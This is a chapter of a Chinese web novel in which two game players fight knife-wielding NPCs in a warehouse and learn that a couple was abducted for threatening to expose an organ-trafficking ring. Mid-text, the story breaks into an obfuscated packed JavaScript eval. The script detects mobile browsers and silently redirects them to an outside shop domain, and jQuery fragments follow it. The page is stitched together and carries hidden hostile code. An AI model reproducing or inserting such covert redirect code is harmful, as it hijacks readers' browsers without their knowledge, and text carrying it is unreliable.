这就是冷玉自从结婚之后到现在所有的记忆了,时间刚好还剩一分钟。
他们破墙而出,身体穿过墙面,那扇电梯门正发出“滴滴”的声响,宣告着倒计时即将结束。
“哐当”一声,电梯猛晃了一下。
他们摔进来,和第一次一样狼狈。
“……我们下次能不能体面一点。”
尹从南坐在地上喘气,头偏向同样正在喘气的楚榆。
“……看你实力。”
楚榆的话音刚落,悬浮框飘飘悠悠的从上面降下来,晃到两个人面前。
“请用几个词简短概括楚榆自婚后到现在的记忆。(注:答题时间两分钟,请合理分配时间。)”
楚榆抓着笔就开始写:“幸福、事业有成、怀孕、车祸、失忆……陈逊。”
想了很久,她还是决定加上陈逊的名字,毕竟在冷玉那么长时间的空白记忆里,陈逊是唯一留下痕迹的人。
谁知悬浮框却突然好像卡着了,好半天才转着圈加载完。
“恭喜二位,答案正确。”
电梯按键的“3”突然亮了起来,屏幕上,数字3和箭头交错出现。
他们气还没有喘匀,电梯门再次“滴”的一声开了。
只是这次更过分一点——
电梯门直接开到了人家的仓库里。
但他们面前的场景不太好。
陈逊跪在冰冷的地板上,旁边还有冷玉和他一起。
他们身处一个看上去很暗的仓库,旁边的架子上放置了很多箱子。这些箱子看上去很高级,箱面闪着银色的金属光泽,光从灰蒙蒙的窗户照进来,从箱子上反射到了楚榆的眼睛里。
这里跟第二层楼一样,他们俩能看到其他人,但其他人看不到他们。
逆着光的地方坐着一个人,那把椅子看上去很贵重,是全木头制作的,椅背上还雕着一些蛇虎之类的动物,看上去莫名有些骇人。
那人的身后站着几个身形凌厉的打手,他们看向陈逊二号冷玉的表情像是在看两个死人。
“你真的要这么干?”
陈逊身上已经挂了大大小小的伤口,冷玉身上也没有好到哪里去,他们却直着腰,没有一点要弯下去的意思。
“当然,你们这是犯法!”
坐在木头座椅上的人忽然笑了一下,他的声音很低,陈逊听出来了一种轻蔑的感觉:“想好了?非这样不可?”
“对,不能再这样下去了,受害者不能更多了。”
冷玉忽然出声,她的声音比陈逊的要更坚定。
“行,那是你们自找的。”
那人没再多说什么,他从椅子上起身离开,右手中指和食指并在一起,朝着陈逊和冷玉跪着的地方弯了一下。
那些打手在手里颠了一下武器,气势汹汹地朝他们俩走去。
下一秒,整个空间全部凝滞,那些在动的活物全都静止了。
悬浮框忽然出现在他们面前,打了一行字出来。
“亲爱的楚榆、尹从南玩家,本次游戏的任务为,在陈逊和冷玉被打残之前救下他们,并且找到他们出现在这里的原因。半分钟后,你们将会出现在仓库内,对方能看到也能打到你们,祝你们好运,么么哒~”
所以,它的意思是,要他们两个手无寸铁的成年人,却和他们一帮手里还有武器的人火拼吗?同时还要救下来两个人?
这悬浮框的处理器指定有点毛病。
时间到。
悬浮框迅速消失在他们眼皮子地下,对面奔来的两个人懵了一下,似乎是不知道哪里冒出来了两个莫名其妙的人,随后用零点一秒的时间决定现在对付他们俩。
为首的女人穿着热裤和露脐装,手上拿着一个寒光闪闪的匕首朝他们奔过来。
后她一步的男人身材魁梧,冲到他们面前时,光恰好照在他脸上,他们清楚的看到有一个刀疤。
楚榆愣了一秒——这两人的装束对她来说有点太熟悉了,但是前不久,这两个人前不久才刚刚死在她的眼前,连尸体都不完好。
但这两个人现在满身杀意的跑到他们面前,变成了npc。
还是来索他俩命的npc。
但求生的本能,已经让楚榆做出了反击。
“咣——”
短兵相接的声音在楚榆面前乍响,一点火星忽然冒出来。
她后知后觉的意识到自己手上多了个东西。
她定睛一看,发现不知道什么时候,手里已经捏了一把和面前艾娜手里一模一样的匕首。
这个艾娜望向她的眼神里全是陌生,甚至夹杂了些许厌恶。
出手时,步步都是要命的招。
这个地方很奇怪,楚榆本来以为自己已经快要习惯这样的节奏和情况了,却发现自己还是见的少了。
但她调整的很快,既然面前不是她们认识的那个张横和艾娜,那就现在的情况来看,他们也不必手下留情。
楚榆侧身躲过一刀,顺手一划,在艾娜的手臂上留下了一条浅浅的伤口。
让她更为震惊的是,这个艾娜好像没有痛觉。
下一秒,她的匕首劈头盖脸地袭来。
艾娜和张横的体能看上去比他们要好很多,而且没有痛觉,按照正常的道理来说,他们应该更适合战斗。
但痛觉的存在从来就不是一件坏事,它是一种预警,是一种提示。
楚榆很快想到了要怎么做,她喊了一声:“尹从南!”
尹从南正兜着圈子溜张横,时不时的用匕首在他胳膊上、腿上划拉两下,造成一些看上去小小的伤口。
地上已经淅淅沥沥的滴了很多血,那些伤口一点愈合的迹象都没有,反而一直持续不断的在滴血。
一时不察,楚榆的胳膊痛了一下。
余光里,她看到陈逊已经护着冷玉跑到了旁边的角落里,还拿了几个箱子挡在身前。
还算聪明。
“伤口不会愈合!”
尹从南的声音从有些远的地方飘过来:“我知道!”
再次转头时,她面前人却忽然变了面孔。
“尹从南?你怎么在……”
“这”字还没说出来,她面前的尹从南手里的刀已经插进了他的腹部,钻心的痛排山倒海般袭来。
“楚榆?”
“在这!”
尹从南略带疑问的声音从远处传来,楚榆看着自己的情况,立刻就明白过来他面对的是什么。
她拼尽全力的喊了一声,希望能即使提醒到他。
她面前的尹从南又抽着匕首朝她冲过来,她转身躲过,借机翻到他的后方,朝着他的后心处把刀狠狠的扎了进去。
“尹从南”烟消云散。
仓库里忽然寂静的可怕,唯独身上的血滴到地上的声音在她耳朵里极为清晰。
楚榆踉跄着走了两步,不受控制地向下跌去,后背狠狠撞在架子上,一众箱子应声而落。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17628639|203667||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
p>劈里啪啦的声音太响,惊动了这个地方剩下唯三活着的人。
尹从南从架子后面绕过来,看见这个已经快变成血人的楚榆,吓了一大跳,他尽量保持着镇定,但声音还是有些颤抖:“还能不能站起来?”
楚榆两眼发黑,尝试着站起来,但起身到一半,又不受控制的往下跌,被尹从南一把拽住。
她能感觉到,她在变冷。
尹从南也摸到了她已经冰冷的手,神色变得非常严肃:“忍一下。”
他把自己的衬衫一把撕成布条,捆在楚榆的伤处,轻轻勒了一下。
但楚榆也只是皱了皱眉:“来这里的原因……去问。”
尹从南点了头,把楚榆的身体扶正,让她安心靠好之后才跑去陈逊和冷玉那。
“你们为什么会被抓过来?不知情的情况下参与进器官倒卖的案子,现在想要脱手了?”
陈逊愣了一下,冷玉却先替他回答了。
“我们是被骗了。”
陈逊的工作其实一开始都还算顺利,但后来,他被叫去工作的次数越来越多,薪酬越给越高,高到了一种很离谱的境地。
冷玉的情况一天天在好转,陈逊知道自己做的不是什么正当工作,他想要及时抽身。
但找他来做事的人怎么会舍得放他走?
据他们所说,陈逊是他们找到的人里做事情最麻利的一个,他们很需要这样的人才加入到他们当中,于是在陈逊提出不干了的当天,他们向陈逊提出了长期合作。
长期合作的薪酬会更可观。
但冷玉的药钱已经足够了,他不必再去冒险做这样的事情。
他拒绝了。
并且威胁对方,如果他们想要他继续干,那么就鱼死网破——
如果他们不同意,他就去警察局举报他们,
可是他低估了那群人背后的力量。
当天,他们就把陈逊和冷玉一起绑到了这间仓库里。
在陈逊出来的这段时间,冷玉看着一个放在床脚的小凳子,想起了所有的事情——那本是他们准备用来迎接新生命买的东西,现在却成了陈逊的专用小椅子,对他来说,坐在这个小椅子上给冷玉洗头发很方便,就一直没挪地方。
她很支持陈逊的做法,并且比他更痛恨这样的事情。
这才招来了杀身之祸。
尹从南朝他们点了点头,余光里看到了又不知道什么时候冒出来的悬浮框。
上面的倒计时还剩很久,足够他们慢慢走过去,但楚榆等不了了。
他将楚榆抱起来,在经过陈逊和冷玉时脚步顿了一下。
“以后……别这样了,好好出去过日子。”
说罢,他抬腿就朝电梯走过去。
现在,唯一能救楚榆的方法就是迅速通关——每一次通关后,他们的身体就会被重置一次,所有的伤痕都会被清零,就算是濒死状态,只要没真正死,她就会好起来。
答题时,尹从南却少见的有些心绪不宁。
一方面是因为楚榆的伤,另一方面,是因为他自己。
放在从前,他绝对不会对npc多费一句口舌。
因为这完全没必要,反正就是他们通关的一个工具而已。
但楚榆好像对这些npc们都很在意,好像他们是真正的人一样,那些他们犯过的错,后过的悔都是活生生的。
手上停笔,悬浮框立刻给出结果。
“恭喜二位,答案正确。”